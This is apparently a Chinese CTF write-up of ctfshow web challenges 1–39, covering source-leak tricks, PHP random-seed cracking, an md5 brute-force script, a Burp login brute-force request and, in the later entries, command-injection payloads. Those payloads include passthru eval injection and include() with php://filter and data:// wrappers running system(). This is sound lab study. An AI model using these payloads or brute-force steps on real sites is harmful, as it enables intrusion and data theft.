WEB1
开发注释未及时删除
WEB2
js前台拦截 === 无效操作
<script type="text/javascript">
//禁用右键
window.oncontextmenu = function(){return false};
//禁用选择复制
window.onselectstart = function(){return false};
//禁用F12
window.onkeydown = function(){if (event.keyCode==123){event.keyCode=0;event.returnValue=false;}};
</script>
禁用 JS
WEB4
总有人把后台地址写入robots,帮黑阔大佬们引路。
WEB5
phps源码泄露有时候能帮上忙
WEB6
WEB7-git泄露
版本控制很重要,但不要部署到生产环境更重要。
git 泄露工具:https://github.com/BugScanTeam/GitHack
WEB8-svn泄露
版本控制很重要,但不要部署到生产环境更重要。
svn 泄露工具:https://github.com/kost/dvcs-rippeLinuxr
WEB9-vim缓存泄露
vim 编辑器在使用过程中会留下 vim 编辑器缓存文件 filename.swp
,当 vim 异常退出时,缓存会一直留在服务器上,引起网站源码泄露
vim -r index.php.swp
WEB10
cookie 只是一块饼干,不能存放任何隐私数据
WEB11
域名其实也可以隐藏信息,比如ctfshow.com 就隐藏了一条信息
WEB12
有时候网站上的公开信息,就是管理员常用密码
WEB13
WEB14
有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人
WEB15
WEB16
扫目录没扫到,猜的 tz.php ,访问 phpinfo 读取环境变量中的 flag
WEB17
WEB18-js游戏
js 小游戏,打断点然后到控制台将 score 设置大于 101
WEB19
原意应该是要进行 aes 换源出密码,因为秘钥都有,但直接给出后台判断源码,直接 burp 抓包替换密文
WEB20
access 数据库 /db/db.mdb 下载文件通过txt打开
WEB21
tomcat 登录爆破,实际上不需要知道是 tomcat 也能爆破。burp 抓一个登录包,Authorization 字段就是加密的账号密码,格式为:username:password
,然后进行 base64 加密
python 爆破难度不大,试下 burp 爆破,熟悉工具
payload模式
payload结构
payload编码
base64 编码
同时取消 payload 的 url 编码
成功爆破出账号密码
WEB22-子域名爆破
WEB23
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 11:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//关闭错误报告
error_reporting(0);
include('flag.php');
if (isset($_GET['token'])) {
$token = md5($_GET['token']);
if (substr($token, 1, 1) === substr($token, 14, 1) && substr($token, 14, 1) === substr($token, 17, 1)) {
if ((intval(substr($token, 1, 1)) + intval(substr($token, 14, 1)) + substr($token, 17, 1)) / substr($token, 1, 1) === intval(substr($token, 31, 1))) {
echo $flag;
}
}
} else {
highlight_file(__FILE__);
}
?>
md5 爆破,这里选择 3 字符 md5 加密,其他长度也可以
#encoding:utf-8
import hashlib
dic = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
for a in dic:
for b in dic:
for c in dic:
md5 = hashlib.md5((a+b+c).encode()).hexdigest()
if(md5[1]==md5[14]):
if(md5[14]==md5[17]):
if(eval(("{}+{}+{}".format(int(md5[1],16),int(md5[14],16),int(md5[17],16))))==int(md5[31],16)):
print(a+b+c)
WEB24
固定随机种子随机数固定,需要在 ubuntu20 环境下生成随机数,mac 本地生成的不对,或者到在线网站生成:https://tool.lu/coderunner
<?php
mt_srand(372619038);
echo mt_rand();
?>
//1155388967
WEB25-爆破随机数种子
根据第一个随机数逆向爆破出种子
使用工具:https://www.openwall.com/php_mt_seed/
<?php
mt_srand(2868735451);
echo mt_rand().'</br>';//434000981
echo mt_rand()+mt_rand();
?>
WEB26
爆破登录密码,其他参数随便设置都可以,最后密码是7758521
第二种方法是看其他师傅 wp 的,传入参数全部为空,返回报文就会带上 flag ,原理要查看 checkdb.php
WEB27
登录之后下载学生信息,从 excel 获取确实生日的身份证号码,然后用姓名和身份证重置密码。
firefox 抓不到重置包,f12 查源码看到请求键值对是 a 和 p 构造 post 包到 checkdb.php
burp 爆破生日,请求报文:
POST /info/checkdb.php HTTP/1.1
Host: c2f0b717-77e3-45a1-b820-d6542f6b5daf.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://c2f0b717-77e3-45a1-b820-d6542f6b5daf.challenge.ctf.show:8080/
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
a=%E5%85%83%E7%BE%BF%E8%B0%86&p=451023§********§3419
WEB28
WEB29
主要是命令凭借和字符串拼接
?c=echo nl fla''g.php
;
构造命令执行
由函数执行的 eval 构造出命令执行,正则匹配了 system ,使用 passthru
?c=passthru($_POST[a]);
绕过正则匹配
?c=echo`nl%09fla""*`;
WEB32
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
比前面过滤更多,因为过滤了(
,所以 passthru 也没有办法使用,include 不需要括号可以绕过;过滤 ;
可以用 ?>
绕过;过滤 ` 可以用
%09` 绕过;
文件包含 php 伪协议 filter 读取 flag.php
filter 协议读取加密flag
?c=include%09$_POST["url"]?>
post 内容:
url=php://filter/read=convert.base64-encode/resource=flag.php
data 协议命令执行
?c=include%09$_POST["url"]?>
post 内容:
url=data://text/plain,<?php%20system('nl flag.php');?>
WEB33
比上一题多过滤了双引号,用数字变量绕过:?c=include%09$_POST[1]?>
1=data://text/plain,<?php%20system('nl flag.php');?>
WEB34
接下来几条题目都可以用 WEB33 payload 打,因为多增加的正则匹配都是针对 GET 请求参数,而伪协议 payload 放在 post 包里面,所以可以绕过
WEB35
WEB36
将变量名改成字母?c=include%09$_POST[a]?>
a=data://text/plain,<?php%20system('nl flag.php');?>
WEB37
过滤 flag ,eval 函数执行换成了 include ,需要用伪协议控制,php://filter 需要完整的文件名没办法实现,用 data:// 构造命令执行读取
data协议
命令执行?c=data://text/plain,<?php%20system("nl fl''ag.php");?>
data协议+base64
命令执行?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
WEB38
多加过滤 php ,base64 data:// 协议就好了,和上一题 payload 一样
WEB39
这里用 data+base64 的话,base64字符串会被多加 .php 而解密失败么?
data协议
?c=data://text/plain,<?php%20system("nl fl''ag.php");?>